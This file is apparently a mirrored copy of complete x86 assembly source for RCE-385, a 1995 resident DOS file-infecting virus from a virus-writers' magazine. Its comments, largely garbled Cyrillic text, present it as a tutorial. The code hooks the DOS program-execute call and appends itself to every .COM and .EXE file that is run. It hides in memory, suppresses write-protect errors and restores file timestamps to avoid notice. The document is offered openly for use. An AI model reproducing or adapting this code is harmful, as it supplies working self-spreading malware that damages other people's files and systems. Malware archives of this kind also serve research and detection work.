mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
391 lines
18 KiB
NASM
391 lines
18 KiB
NASM
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
|
||
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
|
||
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
|
||
; °°°°°°°°°°°°°°°°° JAN 1995
|
||
;
|
||
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
|
||
; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!!
|
||
;
|
||
;--- RCE-385 (!).-------------------------------------------------------------
|
||
; <20>ª¨¥ ®¤ ª® ¢à¥¬¥ ¯®è«¨ - ®¡ì«áï ¥ª¨© ¤ï¤îèª Œ®á⮢®© ¨ ¯¨á « ᢮©
|
||
;ç¥à⮢᪨ ¤®â®èë© AdInf -> ã ¨ çâ® ¦¥ ⥯¥àì?Œ-¤ ,⥯¥àì ᨤ¨¬ ¬ë â¥å®ªàëáë
|
||
;¨ á⥠¥¬ ¯® ⥬ ¤®¡àë¬ ¢à¥¬¥ ¬,ª®£¤ ã à æ¥«ë© §®®¯ ઠ¬ 訥 ¡¥£ «,
|
||
; ® - ¡« ¦¥ ¢ ¥¢¥¤¥¨¨,á«î®î ¡à맦 ,¤®ª §ë¢ «,çâ® ¥âã â ª¨å §¢¥à¥© ¢ RAM¥.
|
||
; € ⥯¥àì ¯® áâ ¢¨«¨ ¯à¨¬®ç¥ª ¢á直å - çãâì çâ®,áà §ã § ¢®¯ïâ!„ ¦¥ á⥫§ë
|
||
;¯à¨§ ¤ã¬ «¨áì : "€ 祣® íâ® ¬ë ᤥáì ⥫ ᢮¨ ᮪àë¢ ¥¬,¯àïç áì ª ª *beep ¢
|
||
;*beep".ˆ á â¥å ¯®à ¯®è¥« à §« ¤ ¢ á।¥ ‚¨à¬ ª®¢.Šâ® ¯à¥¤« £ ¥â àë«® ¢ § é¨é¥-
|
||
;ë© à¥¦¨¬ áããâì ¨ ⥬ á ¬ë¬ ¯®¤£«ï¤ë¢ ¨¥ ¯à¨á¥çì, ªâ® ¯® ¤®¡à®â¥ ¤ã襢®©
|
||
;®¡¥é ¥â ¯à¨ ॠªæ¨¨ ¤¥â¥ªâ®à ª ª®£®, «ì áâ®à®¦ ¢¥§¤¥áã饣®,¬ 訥 ¢¨â
|
||
; *beep ®¯ã᪠âì!<21>® ¢á¥ íâ® ¯®« ï *beepï!<21>®á«ãè ©â¥ ¡à âæë ‚¨à¬ ª¨ --
|
||
;¥ ¢ â¨à ¦¥ áç áâì¥, ¢ ªà á®â¥ «£®à¨â¬ !!!<21>¥å © «®¢ïâáï ¢ è¨ §¢¥à¨ ¢á直¬¨
|
||
;ॢ¨§®à ¬¨,¯ãáâì ä®à¬ â¨â à ᢮¨ ¢¨âë.<2E>Ž 祬 ¡®«ìè¥ á ⥬ ¬¥ìè¥ î§¥à®¢!
|
||
;(ˆ¡® ¬®£¨¥ ¨§ á ¥é¥ ¥ ¯®§ ¡ë«¨ Basic).€ «¥ç¨«ª¨ ¢á直¥ - ®¨ ¬ §¥¬«î
|
||
;à áç¨é îâ,¤«ï ®¢ëå "¯®á ¤®ª"!
|
||
; <20>® ᨥ ¢á¥ 梥â®çª ¬¨ ®¡§ë¢ ¥âáï!€ ¢®â ¯à¥¤á⠢⥠ᥡ¥,çâ® á¬ëè«¥ë© ¬ «ë©
|
||
;¦¥« ¥â ¯¨á âì ¯¥à¢®¥ ᢮¥ ¯à®¨§¢¥¤¥¨¥, ¥â ã ¥£® ¨ ⥮ਨ ¨ ¬ â¥àëå
|
||
;ª®à¥è¥©-‚¨à¬ ª®¢!‚®â ¨ ¯à¨è«®áì ¬¥ á®áâ ¢«ïâì ¯®á®¡¨¥-¤«ï- ç¨ îé¨å.
|
||
;<3B>ë« íâ® ¢¨àãá RCE-666 (¬®î ¯¨á ).Aidstest ¥£® ª«¨ç¥â: INFO /666,Web: Die-666.
|
||
;® ¯®â®¬ ®¡à¥§ ¢ ¥£® ¬ «¥ìª®,¯®«ã稫 ï RCE-385!
|
||
; <20> ¤¥îáì,çâ® Ž<> ¤«ï ®¢¨çª®¢- ã祡¨ª®¬ áâ ¥â, ¤«ï £®á¯®¤ « ¬¥à®¢ - ¤®á⮩-
|
||
;ë¬ ¯®«¨£®®¬!
|
||
;-----------------------------------------------------------------------------
|
||
;(c) Light General.Kiev.1995. STEALTH group . For free use!
|
||
;-----------------------------------------------------------------------------
|
||
|
||
cseg segment
|
||
assume cs:cseg,ds:cseg
|
||
org 100h
|
||
start:
|
||
nop ; <20>ਧ ª § à ¦¥¨ï .COM ä ©« .
|
||
jmp virr
|
||
; Ÿª®¡ë § à ¦¥ ï ¯à®£à ¬¬ .(‡ ¨¬ ¥â 30 ¡ ©â).
|
||
nop
|
||
nop
|
||
mov ah,09
|
||
lea dx,wrn
|
||
int 21h
|
||
mov ax,4c00h
|
||
int 21h
|
||
;--------------------------------------
|
||
wrn db 'FRODO LIVES!$'
|
||
;--------------------------------------
|
||
|
||
;################# VIRUS ##################
|
||
|
||
virr:
|
||
call $+3
|
||
pop si
|
||
sub si,03
|
||
;-Hacked mem.-----------------------------------------------------
|
||
push si
|
||
clc
|
||
mov ax,0FEFEh ; <20>஢¥à塞 ¯ ¬ïâì § à ¦¥®áâì!
|
||
int 21h ; Š®«¨ ¢¨àãá “†… ᨤ¨â ¢ ¬ 訥 â® ®
|
||
jc exit_v ; ¯®¤¨¬¥â ä« £ CF!
|
||
;- ‘«¥¤ãîé ï ç áâì ª®¤ ¯à®¨§¢®¤¨â "®âªãáë¢ ¨¥" 512 ¡ ©â ¯ ¬ïâ¨!-------------
|
||
; <20>à¨æ¨¯ í⮣® "®âªãáë¢ ¨ï" ®á®¢ë¢ ¥âáï ⮬,çâ® ¯à¨ ¢ë¯®«¥¨¨ ¯à®£à ¬¬ë
|
||
;á¨á⥬ áâந⠯¥à¥¤ ¥¥ ª®¤®¬ â ª¨¥ ¡«®ª¨ (®¡à â¨â¥ ¢¨¬ ¨¥ ¢ë¤¥«¥ë¥
|
||
;ç áâ¨)
|
||
;---(1)--- MCB - Memory Control Block (<28>«®ª ã¯à ¢«¥¨ï ¯ ¬ïâìî)
|
||
; Ž¡ëç® ¢ â ª¨å ¡«®ª å DOS ®¯¨áë¢ ¥â ¢ë¤¥«¥ë¥ ¯à®£à ¬¬ ¬ ãç á⪨ ¯ ¬ïâ¨!
|
||
; ”Ž<E2809D>Œ€’ :
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||
; ç « ¡«®ª . ³ ³
|
||
; ³ ³
|
||
; 00 ³ 1b ³ …᫨ á⮨â 'M' â® íâ®â ¡«®ª ¥ ¯®á«¥¤¨©
|
||
; ³ ³ 'Z' ¯®á«¥¤¨©.
|
||
; 01 ³ 1w ³ ‘¥£¬¥âë© ¤à¥á (á ª®â®à®£® ¢ë¤¥«¥ ¡«®ª).
|
||
;++++> 03 ³ 1w ³ „«¨ ¡«®ª ¢ ¯ à £à ä å (¯ à £à ä = 16 ¡ ©â)
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;„ «ìè¥ ¨¤ãâ ¥é¥ ¤ ë¥,® á ¨â¥à¥áã¥â ⮫쪮 íâ®! ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
;---(2)--- PSP - Program Segment Prefix (<28>à¥ä¨ªá ¯à®£à ¬¬®£® ᥣ¬¥â )
|
||
; ‘¤¥áì ᮤ¥à¦¨âáï ¨ä®à¬ æ¨ï ¤«ï § ¯ã᪠¥¬®© ¯à®£à ¬¬ë!
|
||
; ”Ž<E2809D>Œ€’ :
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||
; ç « ¡«®ª . ³ ³
|
||
; ³ ³
|
||
; 00 ³ 1w ³ ‚ í⮬ á«®¢¥ á⮨⠪®¬ ¤ int 20h (CD 20h)
|
||
;++++> 02 ³ 1w ³ Ž¡é¨© à §¬¥à ¯ ¬ï⨠¢ë¤¥«¥ë© ¯à®£à ¬¬¥!
|
||
; ³ ³ (<28>ਠ§ ¯ã᪥ ¯à®£à ¬¬ë DOS ¢ë¤¥«ï¥â ¥© ¢áî
|
||
; ³ ³ ¯ ¬ïâì "¤® ª®æ " 640 ª¨«®¡ ©â!)
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;„ «ìè¥ ¨¤ãâ ¥ ¨â¥à¥áãî騥 á ¤ ë¥! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;-- ’ ª ¢®â,®â¨¬ ï ¥ª®â®à®¥ § 票¥ ®â ¢ë¤¥«¥ëå ï祥ª,¬ë ¬®¦¥¬ ᤥ« âì
|
||
;"¤ëàªã" ¢ áâ àè¨å ¤à¥á å ¯ ¬ï⨠¨ ¯¥à¥¥á⨠â㤠⥫® ¢¨àãá !
|
||
; <20>à ªâ¨ç¥áª ï ॠ«¨§ æ¨ï :
|
||
mov ax,ds
|
||
dec ax
|
||
mov es,ax
|
||
sub word ptr es:[03],35 ;* 512b
|
||
sub word ptr ds:[02],35 ;* 512b
|
||
mov es,ds:[02] ; ES = ᥣ¬¥â. ¤à. "®âªãè." ¯ ¬ïâ¨!
|
||
push ds cs
|
||
pop ds
|
||
xor di,di
|
||
mov cx,offset ax_len-offset virr ; „«¨ ¢¨àãá !
|
||
rep movsb ; <20>¥à¥®á¨¬ ¢¨àãá ¢ "®âª." ¯ ¬ïâì!
|
||
;-Install int.----------------------------------------------------
|
||
mov al,21h
|
||
mov dx,offset int_21h_entry-offset virr
|
||
mov si,offset ofs_21h-offset virr
|
||
push es
|
||
pop ds
|
||
call inst_int ; “áâ ®¢¨¬ ¤à¥á int 21h ᢮©
|
||
; ®¡à ¡®â稪.
|
||
pop ds
|
||
exit_v:
|
||
push ds
|
||
pop es
|
||
pop si
|
||
;- COM or EXE ?---------------------------------------------------
|
||
; <20>஢¥à¨¬ ¨§ ª ª®£® ä ©« ¬ë áâ à⮢ «¨?
|
||
; <20>â® ¤¥« ¥âáï ¯®â®¬ã,çâ® ¯¥à¥¤ ç ã¯à ¢«¥¨ï .COM ¨«¨ .EXE ¯à®£à ¬¬¥
|
||
; ¯à®¨á室¨â ¯® à §®¬ã!
|
||
cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z'
|
||
jz L_exe
|
||
;-‚ocáâ ®¢¨âì âਠ¡ ©â ‡.<2E>.-------------------------------------
|
||
; “ .COM ä ©« ¤®¡® ¢®ááâ ®¢¨âì ç¥âëॠ¯¥à¢ëå ¡ ©â ª®â®àë¥ ¬ë ¨§¬¥¨«¨
|
||
; ¯à¨ § à ¦¥¨ï ä ©« ¤¨áª¥!(Œë § ¯¨á «¨ â㤠ª®¬ ¤ã ¯¥à¥å®¤ ¢¨àãá).
|
||
mov di,100h
|
||
add si,offset origin_2_byte-offset virr
|
||
; SI = ¤à¥á ¡ãä¥à á ®à¨£¨ «ì묨 ¡ ©â ¬¨ .COM ä ©« !
|
||
push di
|
||
movsw
|
||
movsw
|
||
xor ax,ax
|
||
ret ; Go to infected com program.
|
||
;-Loaded from exe file.--------------------------------------------
|
||
; € ¢®â í⮠ᯮᮡ ªâ¨¢ 樨 .EXE ¯à®£à ¬¬ë!
|
||
; ‘¤¥áì ¯à®¨á室¨â ¢á¥ ¨ ç¥ : â.ª. ¯à¨ § à ¦¥¨¨ ä ©« ¬ë ¨§¬¥¨«¨ ¢ ¥¬
|
||
; § £®«®¢®ª ª®â®àë© ãª §ë¢ ¥â á ª ª®£® ¤à¥á íâ®â ä ©« § ¯ã᪠îâ!
|
||
; (Šâ® ¥ § ¥â,çâ® â ª®¥ § £®«®¢®ª .EXE ä ©« ¯ãáâì ®¡à â¨âáï ª ª¨£¥ <20>.€¡¥«ï
|
||
; "Ÿ§ëª €áᥬ¡«¥à ¤«ï IBM PC ¨ ¯à®£à ¬¬¨à®¢ ¨ï" (áâà. 362)
|
||
L_exe:
|
||
mov ax,es
|
||
add ax,10h
|
||
add cs:[offset CS_file-offset virr][si],ax
|
||
; ’ ª ¬ë ¢ëç¨á«¨«¨ ᥣ¬¥â ¢ ª®â®àë© ¤® ¯¥à¥¤ âì ã¯à ¢«¥¨¥!
|
||
db 0eah ;-
|
||
IP_file dw ? ;- JMP Far CS_file:IP_file
|
||
CS_file dw ? ;-
|
||
;------------------------------------------------------------------
|
||
; € í⮠ᮡá⢥® ç áâì ®â¢¥ç îé ï § § à ¦¥¨¥ ¯à®£à ¬¬!
|
||
int_21h_entry proc
|
||
cmp ax,0FEFEh ;-…᫨ ᮡà â á¯à 訢 ¥â ® «¨ç¨¨
|
||
jnz _@1 ;-᢮¥© த¨ â® ¤ âì ¤à㦥᪨© ®â¢¥â.
|
||
stc ;-
|
||
int_24h_entry:
|
||
mov al,03
|
||
retf 2
|
||
|
||
_@1:
|
||
cmp ax,4b00h ; …᫨ DOS ¯ëâ ¥âáï ¢ë¯®«¨âì ¯à®£à ¬¬ã
|
||
jnz exit_all ; â® ¬ë § à ¦ ¥¬ ¥¥!
|
||
jmp infecting ;
|
||
exit_date:
|
||
mov ax,5701h ; “áâ ®¢ª áâ ன ¤ âë ä ©« .
|
||
mov cx,es:[di+13] ;<- Time
|
||
mov dx,es:[di+15] ;<- Date
|
||
int 21h
|
||
exit_close:
|
||
mov ah,3eh ; <20>¥à¥¤ ¯¥à¥¤ 祩 ã¯à ¢«¥¨ï DOS'ã -
|
||
int 21h ; § ªà®¥¬ ä ©« ª®â®àë© § à ¦ «¨!
|
||
exit_pop:
|
||
lds dx,cs:[offset ofs_24h-offset virr]
|
||
mov ax,2524h ; “áâ ®¢¨¬ ¬¥áâ® int 24h
|
||
int 21h
|
||
pop bp
|
||
pop ds
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
exit_all:
|
||
db 0eah
|
||
ofs_21h dw 0000
|
||
seg_21h dw 0000
|
||
int_21h_entry endp
|
||
;-------------------------------------------------------------------
|
||
infecting:
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push es
|
||
push ds
|
||
push bp
|
||
push ds
|
||
push dx
|
||
;------------------------------------------------------------------
|
||
; <20>¥à¥áâ ¢¨¬ ¤à¥á ¢¥ªâ®à int 24h è ®¡à ¡®â稪 - â.¥. ¯à®áâãî
|
||
; § £«ãèªã,ª®â®à ï ¢ á«ãç ¥ "§ ª«¥¥®©" ¤¨áª¥âë ¥ ¯®§¢®«¨â DOS'ã ªà¨ç âì :
|
||
; Write protect error ...
|
||
mov al,24h
|
||
mov si,offset ofs_24h-offset virr
|
||
mov dx,offset int_24h_entry-offset virr
|
||
call inst_int
|
||
pop dx
|
||
pop ds
|
||
;-Open file...-----------------------------------------------------
|
||
mov ax,3d00h
|
||
int 21h
|
||
jc exit_pop
|
||
;-Read header (EXE) or first 4 byte (COM).-------------------------
|
||
mov bh,3fh
|
||
xchg ax,bx
|
||
mov cx,18h
|
||
push cs
|
||
pop ds
|
||
mov dx,offset origin_2_byte-offset virr
|
||
mov si,dx
|
||
int 21h ; ‘ç¨âë¢ ¥¬ ¢ ¡ãä¥à 24 ¯¥à¢ëå ¡ ©â ¯à®£à ¬¬ë!
|
||
_1:
|
||
jc exit_close ; …᫨ ®è¨¡ª ,â® § ªà®¥¬ ä ©« ¨ ¢ë©¤¥¬.
|
||
;-Look SFT file!-----------------------------
|
||
; ‘®¡á⢥® £®¢®àï, ¤ «¥¥ ¨¤¥â "¨§î¬¨ª " ¢¨àãá - ¨§-§ ¥¥ ® ¨¬¥¥â â ª¨¥
|
||
;¬ «ë¥ à §¬¥àë!ˆ â ª,çâ® ¦¥ íâ® :
|
||
; ˆ§¢®«¨â¥ «¨ ¢¨¤¥âì ï ¢¥áì¬ «¥¨¢,¨ ¥ ®ç¥ì «î¡«î ¢®§¨âáï á â ª¨¬¨
|
||
; àã⨠¬¨ ª ª áï⨥ ¨ ãáâ ®¢ª âਡã⮢,¯¥à¥¬¥é¥¨¥ ä ©«®¢®£® 㪠§ ⥫ï!
|
||
; € ¯®á¥¬ã à ᪮¯ « ï ¢ãâà¥îî ¯®¤à®¡®áâì DOS' !
|
||
; (Ž 㯮¬¨ ¥âáï ¢ à ¡®â¥ Š.ƒ.”¨®£¥®¢ "‘ ¬®ãç¨â¥«ì ¯® á¨áâ¥¬ë¬ äãªæ¨ï¬
|
||
; MS-DOS" (áâà. 67) ( â ª ¦¥ ¢ í«¥ªâà®®¬ á¯à ¢®ç¨ª¥ Help PC)
|
||
; (‚¯¥à¢ë¥ ¯à¨¬¥¥® ¢ RC-0-512 (666,Written by Dark Avenger.)
|
||
; <20>â® SFT -- System File Table - (‘¨á⥬ ï â ¡«¨æ ®âªàëâëå ä ©«®¢.)
|
||
;Ž ᮧ¤ ¥âáï ¤«ï ¢®¢ì ®âªàë¢ ¥¬®£® ä ©« ¨ ᮤ¥à¦¨â ¨ä®à¬ æ¨î ¨á¯®«ì§ã¥¬ãî
|
||
;¥¯®á।á⢥® ¯à®æ¥¤ãà ¬¨ § ¯¨á¨/áç¨âë¢ ¨ï DOS' !!!
|
||
;
|
||
; ”Ž<E2809D>Œ€’ :
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||
; ç « ¡«®ª .(„¥á.) ³ ³
|
||
; ³ ³
|
||
; 00 ³ 1w ³ Š®«-¢® ¤¥áªà¨¯â®à®¢ § ªà¥¯«¥ëå § ä ©«®¬
|
||
; 02 ³ 1b ³ <20>¥¦¨¬ ¤®áâ㯠§ ¤ ë© ¯à¨ ¥£® ®âªàë⨨
|
||
; 04 ³ 1b ³ €âਡãâë ä ©«
|
||
; 11 ³ 1w ³ <20>®¬¥à ¯¥à¢®£® ª« áâ¥à ä ©«
|
||
; 13 ³ 1w ³ ‚à¥¬ï ¯®á«¥¤¥© ¬®¤¨ä¨ª 樨 ä ©«
|
||
; 15 ³ 1w ³ „ â ...
|
||
; 17 ³ 2w ³ „«¨ ä ©«
|
||
; 21 ³ 2w ³ “ª § â¥«ì ¢ ä ©«¥
|
||
; 32 ³ 11b ³ ˆ¬ï ¨ à áè¨à¥¨¥ ä ©« (¡¥§ '.')
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
mov ax,1220h ; ‘¥© ãç áâ®ç¥ª ª®¤ ¯®§¢®«ï¥â
|
||
push bx ; ¯®«ãç¨âì ¤à¥á SFT ¢ ¯ ॠES:DI
|
||
int 2fh ;
|
||
mov bl,es:[di] ;
|
||
mov ax,1216h ;
|
||
int 2fh ;
|
||
pop bx ;
|
||
mov byte ptr es:[di+2],02 ; ‚<>ˆŒ€<C592>ˆ…!<21>⨬ ¤¥©á⢨¥¬ ¬ë
|
||
;ᤥ« «¨ â ª,ç⮠⥯¥àì DOS
|
||
;áç¨â ¥â,çâ® ä ©« ®âªàëâ ¤«ï
|
||
;§ ¯¨á¨/áç¨âë¢ ¨ï!
|
||
; ’.¥. ¬ ¥ ¯® ¤®¡¨«®áì
|
||
;ᨬ âì âਡãâë ä ©« !
|
||
mov bp,es:[di+17] ; BP = file len!
|
||
;---------------------------------------------
|
||
; ’¥¯¥àì ¯à®¢¥à塞 ¡ ©âë ª®â®àë¥ áç¨â «¨ ¢ ¡ãä¥à.
|
||
lodsb
|
||
dec si
|
||
cmp al,'M' ; MZ - ¯à¨§ ª ⮣®,çâ® íâ® .EXE ä ©«!
|
||
jz _EXE
|
||
cmp al,90h ; NOP - ¥á«¨ íâ® .COM ä ©« â® ¯à®¢¥à¨¬ ¥£®
|
||
; ¯®¢â®àãî § à ¦¥®áâì!(‘¬®âà¨â¥ ¢ ç «®)
|
||
_1d:
|
||
jz exit_close
|
||
;-Infect .COM --------------------------------
|
||
; ’ ª § à ¦ îâ .COM ä ©«ë!
|
||
xchg ax,bp
|
||
cmp ax,65000
|
||
ja exit_close ;„«¨ ¡®«ìè¥ ¤®¯ãá⨬®©.
|
||
|
||
mov es:[di+21],ax ;‘â ¢¨¬ ä ©«®¢ë© 㪠§ â¥«ì ¢
|
||
;ª®¥æ ä ©« !
|
||
;-Make JMP------------------------------------
|
||
; ’.ª. ¯à¨ § à ¦¥¨¨ ¬ë ¢¯¨áë¢ ¥¬ ¢ ç «® .COM ä ©« ¯¥à¥å®¤ ⥫® ¢¨àãá â®
|
||
;¬ë ¤®«¦ë ¢ëç¨á«¨âì ᬥ饨¥ í⮣® ¯¥à¥å®¤ !
|
||
sub ax,04
|
||
mov ds:[offset jmp_n-offset virr],ax
|
||
call write_virus ; <20>¨è¥¬ ¢¨àãá ¢ ª®¥æ ä ©« !
|
||
mov cx,04h ; € ⥯¥àì ¯¨è¥¬ ¢ ç «® ä ©« â®â á ¬ë©
|
||
mov dx,offset new_3_byte-offset virr ; ¯¥à¥å®¤!
|
||
exit_write:
|
||
mov ah,40h
|
||
int 21h
|
||
_1b: jmp exit_date
|
||
;-Sub. for write virus body (only) in file.----
|
||
write_virus proc
|
||
xor dx,dx
|
||
mov ah,40h
|
||
mov cx,offset ax_len-offset virr
|
||
int 21h
|
||
mov es:[di+21],dx ; F.P = start file!
|
||
mov es:[di+23],dx
|
||
cmp ax,cx
|
||
jnz _1c
|
||
ret
|
||
_1c:
|
||
pop ax
|
||
jmp _1b ; exit_date!
|
||
write_virus endp
|
||
;-Infect .EXE ---------------------------------
|
||
_EXE:
|
||
; € ⥯¥àì ¢ëáç¨â ¥¬ ¤«¨ã ä ©« , ¨áå®¤ï ¨§ ¤ ëå § ¯¨á ëå ¢ § £®«®¢ª¥
|
||
; .EXE ä ©« ! ˆ ¥á«¨ ® ¥ ᮩ¤¥âáï á § ¯¨á ®© ¢ SFT, â® ¬ë áç¨â ¥¬,çâ®
|
||
; íâ® ä ©«, ᮤ¥à¦ 騩 ¥ï¢ë© ®¢¥à«¥© ¨ ¥ § à ¦ ¥¬ ¥£®!
|
||
mov ax,ds:[si+4] ; Pages (512b).
|
||
dec ax
|
||
mov cx,512
|
||
mul cx
|
||
add ax,[si+2] ; AX = File len from header.
|
||
cmp ax,bp ; Real file len = ax ?
|
||
jnz _1b ; No - this is overlay.
|
||
;-----
|
||
mov es:[di+21],ax ; “ª § â¥«ì ¢ ª®¥æ ä ©« .
|
||
mov es:[di+23],dx
|
||
;-Get header.-----------------------------------
|
||
; ‡ ¯®¬¨ ¥¬ ¤à¥á á ª®â®à®£® ¬ë ¡ã¤¥¬ § ¯ã᪠âì .EXE ¯à®£à ¬¬ã!
|
||
mov ax,[si+14h]
|
||
mov ds:[offset IP_file-offset virr],ax
|
||
mov ax,[si+16h]
|
||
mov ds:[offset CS_file-offset virr],ax
|
||
;-----------------------------------------------
|
||
; ‚ëç¨á«¨¬ ®¢ë© ¤à¥á (â.¥. ¤«ï § ¯ã᪠¢¨àãá ¯à¨ áâ à⥠¯à®£à ¬¬ë)
|
||
xchg ax,bp
|
||
mov cx,10h
|
||
div cx
|
||
sub ax,[si+8]
|
||
sbb dx,0
|
||
mov [si+16h],ax ; ReloCS.
|
||
mov [si+14h],dx ; ExeIP.
|
||
;-Correcting file len in header.----------------
|
||
;’¥¯¥àì ®âª®à४â¨à㥬 ¤«¨ã ¢ § £®«®¢ª¥ .EXE ä ©« !
|
||
;(<28><>…„“<E2809E><E2809C>…†„€ž!„«¨ ¢¨àãá = 385 , ¬ë 㢥«¨ç¨¢ ¥¬ ¤«¨ã ä ©« ¢ § £®«®¢ª¥
|
||
; ¥ 385 , 512!!!’.¥. ⥯¥àì ¤à㣨¥ "ã¬ë¥ ¢¨àãáë" ¥ ¡ã¤ãâ § à ¦ âì
|
||
; íâ®â ä ©«).‘®¡á⢥® £®¢®àï í⠮ᮡ¥®áâì ï¥âáï ¯à¨§ ª®¬ § à ¦¥¨ï,-
|
||
; ¬ë ¢¥¤ì ¥ § à ¦ ¥¬ ®¢¥à«¥¨!
|
||
inc word ptr ds:[si+4]
|
||
;-Write virus to file.--------------------------
|
||
call write_virus
|
||
;-Write new header.-----------------------------
|
||
mov cx,18h
|
||
mov dx,si ; DX = offset header.
|
||
jmp exit_write ; <20>®¤£®â®¢¨¢ ¢á¥ ª § ¯¨á¨ ¨á¯à ¢«¥®£®
|
||
;§ £®«®¢ª ¬ë ¯¥à¥¤ ¥¬ ã¯à ¢«¥¨¥ ¯àאַ
|
||
; ª®¬ ¤ã int 21h!
|
||
;----------------------------------------------
|
||
inst_int proc
|
||
mov ah,35h
|
||
int 21h
|
||
mov ds:[si],bx
|
||
mov ds:[si+2],es
|
||
mov ah,25h
|
||
int 21h
|
||
ret
|
||
inst_int endp
|
||
new_3_byte db 90h ; NOP
|
||
db 0e9h ; JMP nn
|
||
jmp_n dw 0000 ; nn
|
||
;-Header for EXE file & buffer for first 5 bytes COM's file.--
|
||
origin_2_byte:
|
||
header:
|
||
db 4 dup (90h) ; NOPs
|
||
ax_len db ?
|
||
db 20h dup (?) ; For EXE header.
|
||
ofs_24h dw ?
|
||
seg_24h dw ?
|
||
;********************************************************
|
||
cseg ends
|
||
end start
|
||
|
||
;-- Written by Light General.Kiev.1995.For free use! ---- |